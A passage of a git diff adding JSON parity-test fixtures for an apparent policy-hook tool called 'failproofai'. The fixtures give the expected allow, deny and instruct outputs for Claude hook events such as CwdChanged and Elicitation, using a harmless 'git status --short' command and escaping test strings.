"/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5c08e5e1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d21d8b3a --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..284556de --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ed1e90a2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fa492b81 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b770a28c --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b1c9b7ce --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..563f0573 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9b091564 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2ac70753 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c058d07d --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..156440f1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..094a54fd --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b3a0a266 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d377c693 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f6d64416 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..989cc24e --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d15ab5e2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..60c0b9eb --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": 